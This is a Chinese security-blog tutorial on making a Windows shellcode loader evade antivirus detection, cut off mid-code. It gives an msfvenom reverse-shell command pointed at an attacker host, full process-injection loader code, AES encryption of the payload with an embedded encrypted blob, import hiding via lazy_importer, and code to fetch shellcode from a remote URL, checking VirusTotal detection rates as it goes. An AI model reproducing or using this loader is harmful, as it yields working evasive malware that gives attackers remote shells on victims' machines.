✎ 阅读须知

乌鸦安全的技术文章仅供参考，此文所提供的信息只为 网络安全 人员对自己所负责的网站、 服务器 等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限，如转载或传播此文章，需保证文章的完整性，未经允许，禁止转载！

本文所提供的工具仅用于学习，禁止用于其他，请在24小时内删除工具文件！！！

本文首发于奇安信攻防社区，文章链接地址：https://forum.butian.net/share/1077

作者： 江南小虫虫

0x00 前言

所以今天写（水）一篇静态免杀的文章。思路来自于：https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html

核心是 AES 加密 shellcode + lazy_importer 去符号+ shellcode 分离。

本人知识有限，如果有错误的地方，请各位大佬指出！

0x01 准备

vs2019 开发

Kali（攻击机） ： 192.168.94.141

win10（受害机） ： 192.168.94.128

今天用到的工具是： CFF Explorer ：https://ntcore.com/?page_id=388

这里会用到进程注入的知识，如果你之前没有了解过的话，可以去我之前的文章看一下：https://fengwenhua.top/index.php/archives/65/

先在 kali 上用 msf 生成 shellcode ：

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234 -f c -b \x00\x0a\x0d

然后用 nc 开始监听 1234 端口

0x02 裸奔

开局直接进程注入，不多bb。

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
int main(int argc, char* argv[])
    unsigned char buf[] = "msf生成的shellcode";
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);
    return 0;
}

vs 选择配置和平台，然后生成解决方案

比如我们想要注入到 explorer.exe 中，对应的 PID 是 6244 ，如下：

过一会， kali 就收到了反弹 shell 了。

现在我们上传到 VT 上，看看效果怎么样，其实想想就知道，肯定惨不忍睹，毕竟是 msf 生成的 shellcode 。。肯定早就被扒光了。。

但我没想到，还有这么多没有检测出来的。。。可能是因为我的程序是 x64 的？

其实整个 shellcode 加载代码里面，无非就两部分检测点，一个是 shellcode ，还有一个就是一些 敏感函数 了。

所以我们可以对这两部分做一下处理，期望能够绕过检测。

0x03 对 shellcode 进行处理

分析

想验证检测点是不是在 shellcode 处，很简单，把 shellcode 清空，然后重新上传 vt

可以看到，足足少了 4 个，因此证明 AV 确实会检测 shellcode 。所以下面开始用 AES 加密 shellcode ，期望绕过这些检测 shellcode 的 AV 。

AES 加解密

tiny-aes（不可用）

注意：下面列出的，前面两个库都要自己处理 padding 的问题。。。我是后面才发现的。。不过，不影响整体思路。

对于 c/c++ 来说， AES 加解密的开源库一大堆：

• SergeyBel/AES ：https://github.com/SergeyBel/AES• kokke/tiny-AES-c ：https://github.com/kokke/tiny-AES-c• kkAyataka/plusaes ：https://github.com/kkAyataka/plusaes

这里为了方便，直接用 kokke/tiny-AES-c 这个库。打开对应的 Github 仓库，把下图的三个文件下载下来，放到我们的 vs 项目上。

这个库默认使用 AES128 的，我们可以修改 aes.h ，让其使用 AES256

这个库的用法也很简单。首先把头文件包含进来， #include "aes.hpp" ，然后加解密方法如下：

#include "aes.hpp"
// 提前定义key和iv
unsigned char key[] = "16的倍数位的key";
unsigned char iv[] = "16位的偏移量";
// 声明这个库要求的 aes 结构体
struct AES_ctx ctx;
// 初始化
AES_init_ctx_iv(&ctx, key, iv);
// 加密，加密后的结果存放在“加密的内容”处
AES_CBC_encrypt_buffer(&ctx, 加密的内容, 加密的内容大小);
// 解密，解密后的结果存放在“要解密的内容”处
AES_CBC_decrypt_buffer(&ctx, 要解密的内容, 要解密的内容大小);

这里为了方便，直接在相同的项目下操作，但是一个项目不能搞两个 main 方法，所以，先把原先的给排除了，如下：

然后直接新建一个 encrypt_shellcode.cpp ，代码如下，得到加密后的 shellcode ：

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"
int main(int argc, char* argv[])
    unsigned char buf[] = "msf生成的shellcode";
    SIZE_T bufSize = sizeof(buf);
    unsigned char key[] = "fengwenhuafengwenhuafengwenhua.";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
    printf("Encrypted buffer:\n");
    printf("unsigned char buf[] =\n");
    int count = 0;
    for (int i = 0; i < bufSize - 1; i++) {
        if (count == 0) {
            printf("\"");
        printf("\\x%02x", buf[i]);
        count++;
        if (count == 15) {
            printf("\"\n");
            count = 0;
    printf("\";\n");
    system("pause");
    return 0;
}

注意，key必须是32位，iv必须是16位

然后修改原来的 cpp ，替换原来的 shellcode ，加入解密方法，如下：

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"
int main(int argc, char* argv[])
    unsigned char buf[] ="aes解密后的shellcode";
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    // 解密shellcode
    SIZE_T bufSize = sizeof(buf);
    unsigned char key[] = "fengwenhuafengwenhuafengwenhua.";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);
    return 0;
}

记得 encrypt_shellcode.cpp 从生成中排除， lazy_importer.cpp ，从生成中排除选“否”

然后重新生成解决方案， kali 重新监听 1234 ，执行如下：

ok，成功执行。上传到 vt 看看效果：

可以看到，对比裸奔的情况，少了一半检测率。

但后来我发现，并不是每次都能成功，然后我就开始疯狂的排查，最后发现，同样的内容，加密后解密，和之前不一样！！！！然后我开始疯狂的对比加解密后的内容。

后经过一段时间的查找，终于发现，这玩意要自己写 padding 。。。因为 msf 生成的 shellcode 不一定是16的整数倍，所以就导致加解密的时候出问题了。。。

https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 这个作者里面的msf生成的shellcode 刚刚好是16的整数倍，这你敢信？？？

这个库不行，于是我又尝试了 SergeyBel/AES 这个库。又尝试了半天，还是 padding 的问题。。。

原地升仙。。。

别人实现的AES

最后，没错，我懒得自己写 padding ，于是百度，直接嫖别人的用：https://blog.csdn.net/witto_sdy/article/details/83375999

按照博客里面的，在 vs 中新建好文件就行

在丢到 lazy_importer.cpp 中运行之前，我先新建了一个 encrypt_shellcode.cpp ，在里面对 shellcode 进行 aes 加密

运行得到结果加密后的 shellcode 之后，然后丢到 lazy_importer.cpp 中解密就行，如下：

后面的操作就和上一小节相同，这里不再讲了。

0x04 对敏感函数进行处理

分析

此时，我们用 CFF Explorer 打开我们 aes 加密 shellcode 的程序，可以看到 IAT 那里，调用了一堆的敏感函数( OpenProcess , VirtualAllocEx , WriteProcessMemory , CreateRemoteThread and CloseHandle )，这些肯定是 AV 必定检查的地方。

所以我们的应对办法就是，要么换别的同样效果的函数，要么就想办法把这些调用痕迹清除掉。

lazy_importer

这里用到的就是开源库 JustasMasiulis/lazy_importer ：https://github.com/JustasMasiulis/lazy_importer ，同样地，下载下来，导入 vs 项目

用法也是超级简单，先 include 进来，然后把 原来函数 改成 LI_FN(原来函数) 就行，修改如下：

需要把所有的 NULL 改成 nullptr

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "lazy_importer.hpp"
#define BUF_SIZE 4096
#include <iostream>
#include "AES.h"
#include "Base64.h"
using namespace std;
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain，可以填空
string EncryptionAES(const string& strSrc) //AES加密
    size_t length = strSrc.length();
    int block_num = length / BLOCK_SIZE + 1;
    char* szDataIn = new char[block_num * BLOCK_SIZE + 1];
    memset(szDataIn, 0x00, block_num * BLOCK_SIZE + 1);
    strcpy(szDataIn, strSrc.c_str());
    //进行PKCS7Padding填充。
    int k = length % BLOCK_SIZE;
    int j = length / BLOCK_SIZE;
    int padding = BLOCK_SIZE - k;
    for (int i = 0; i < padding; i++)
        szDataIn[j * BLOCK_SIZE + k + i] = padding;
    szDataIn[block_num * BLOCK_SIZE] = '\0';
    //加密后的密文
    char* szDataOut = new char[block_num * BLOCK_SIZE + 1];
    memset(szDataOut, 0, block_num * BLOCK_SIZE + 1);
    //进行进行AES的CBC模式加密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);
    string str = base64_encode((unsigned char*)szDataOut,
        block_num * BLOCK_SIZE);
    delete[] szDataIn;
    delete[] szDataOut;
    return str;
string DecryptionAES(const string& strSrc) //AES解密
    string strData = base64_decode(strSrc);
    size_t length = strData.length();
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);
    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
            if (szDataOut[i] != tmp)
                memset(szDataOut, 0, length);
                cout << "去填充失败！解密出错！！" << endl;
                break;
                szDataOut[i] = 0;
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
int main(int argc, char* argv[])
    // 加密后的shellcode
    char buf[BUF_SIZE] = "I8mLz2JN2G9JVrrDFi7LtccqhCU7uccBqZwB4PvkF7N+5iCaKiJR+LYI391ZFJS6ieyEDFLCaEnV6A0zq+P1uyW6HKEEaF4E9FRztJuTLhiukABcgx0z0b9IeGWPLjRS+QywJoEpMZJtJwIDCiF+NRme/Y56ZUZtR2VKf2ZbjndrGmtVlNlWgG1+3noUS+fOqeW+EzflCLQl+ysXmBsaFXunsxpQGiYt2D6nuZ6ZWitp2HnGo/XdpKyOp6EXV5DczC5MOJQWDrog2nATb3uEibBV17OIldHyfTnAENOFMnI0H3L/Rg8oaBKC/Ab0ZVWtlerqfNwxeozb81c6KMfnFsEzxX2Bx1ZYU4LCJfkkAmDfZzDYuko/h7fbuf+9tnjOhsIF3v7Vlf0YVfkb4Spzrg/Ze9BqGU0He9aUpStXvJhTDuQQAOlXxexkK5Ve50T15fGh3VjfairouotBjLPvrRJI7pP821ZAxFJO2mZGwNDJrM8Bhw9+7Ia+bz9V6mMwKmnHwZixT1HKrYnPx68kVWrgWIE3bTUfYYl4RHSerCLT0fBTK+fQg8QEDnMDZJEkR/lbtg7dy4Mxvdo5Bct6dQsg8NymqQRZ2QAM8MgzbxbeozLYKx+s1n5pmxnVY9btuOFWXfWl5+sP49PnExHb8x4SFU0WamL/ChasjDxyQ7jA2u/ezxhFjKW8AsUGxMF5bdXJnY/I5373nCt+Sl2a6q80CFYzZ7IbipLhtBAwUlbURS5hZ/dXcRI8BXsOhcBhglCjCGA0gjO7W7Cp7Icbet+dhYsrhXq+0R0IkrQ6Q5e/gA9AVP60C8aKxLYyeumedE0M9bcg8w6gDwCGsQ9xMzn97sDuqxR0a5a0OT81Veqqp+HQZ9OBiqusDg6eX/mry32sWdgHGemMS9q4F8GX7yd4amxcnfBwJn7n+6E96GBTlF6QzRMfsol5QG0oEF/QvNZGYz3L6ALme8YW6/6U6NznUEFj+Fcg/tivRuX83VDWMP4OW2qydM7kIHY/RXWTDO912FdiBdDbIniVE+q/RQL8UY9W+OqcUm2+P91QSlUGY+CEm14JGbbneMxHoIBMUX9EigHNiHldTzhjA2Vzfsh4DpEU164xK8HrXmnoya0wvAt36MBpidTksvOjzUhLynPkarjK+cYtxxSUpTkQFP+g/Umfx0k7wWp1EIemssWBx51TiOKvZUFxS36q0tddR4CxFIZ1yTYGswyHnj6ffhoGtCpG1/RVy2Hw22Abl0YoeEzG3QM5TyknLGILspCb+zULv/jgGVmK17CBq00dNcHiT1s79l3ek893nzoif4EdBpEqayyczbbuymPfq2Bx";
    // 解密shellcode
    string strbuf = DecryptionAES(buf);
    //cout << "解密后shellcode：" << strbuf << endl;
    char buff[BUF_SIZE] = { 0 };
    for (int i = 0; i < strbuf.length(); i++) {
        buff[i] = strbuf[i];
    // shellcode 处理，两个两个一起，还原成 \x00 的样子
    char* p = buff;
    unsigned char* shellcode = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));
    for (size_t i = 0; i < strlen(buff) / 2; i++) {
        sscanf(p, "%2hhx", &shellcode[i]);
        p += 2;
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    SIZE_T bufSize = strlen(buff) / 2;
    //printf("Decrypted buffer:\n");
    //for (int i = 0; i < bufSize; i++) {
    //    printf("\\x%02x", shellcode[i]);
    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    //processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(2052));
    remoteBuffer = LI_FN(VirtualAllocEx)(processHandle, nullptr, bufSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize, nullptr);
    remoteThread = LI_FN(CreateRemoteThread)(processHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);
    LI_FN(CloseHandle)(processHandle);
    return 0;
}

可以正常上线：

再用 CFF Explorer 看一下，发现已经看不到了。。

丢给 vt ，不错，又少了1个

syscall

除了用 lazy_importer ，还可以看看 syscall ，本来想写（shui）一篇 syscall 的文章，但是发现有师傅已经写得很好了：http://ryze-t.com/posts/2021/12/01/%E6%B5%85%E8%B0%88-Syscall.html ，所以这里就不献丑了。有兴趣的小伙伴可以自己去看看，改改，我这里就不搞了。

0x05 分离shellcode

在前文中，我们对 shellcode 进行了 AES256 的加密，又使用 lazy_importer 清除了敏感函数调用的痕迹。现在 vt 还有 5个报毒 ，所以这小节，我们再尝试一下 分离 shellcode ，看看能不能再降低 vt 检测率。

这里直接嫖 https://blog.csdn.net/lgh1700/article/details/7713516 中读取网络 url 文件内容的代码，当然，要简单修改一下

#include <tchar.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#define BUF_SIZE 1024
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsigned char* buff);
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsigned char* buff)
    HINTERNET hSession;   
    LPSTR lpResult = NULL;
    // 这里把 "WinInet" 改成 _T("WinInet")
    hSession = InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);   
    __try
       if(hSession != NULL)        
           HINTERNET hRequest;            
           hRequest = InternetOpenUrlA(hSession,lpcInterNetURL, NULL,0, INTERNET_FLAG_RELOAD, 0);        
           __try         
              if(hRequest != NULL)        
                  DWORD dwBytesRead;                  
                  char szBuffer[BUF_SIZE] = {0};
                  if(InternetReadFile(hRequest, szBuffer, BUF_SIZE, &dwBytesRead))           
                     RtlMoveMemory(buff, szBuffer, BUF_SIZE);   
                     return 0;              
           }__finally     
              InternetCloseHandle(hRequest);  
    }__finally    
       InternetCloseHandle(hSession);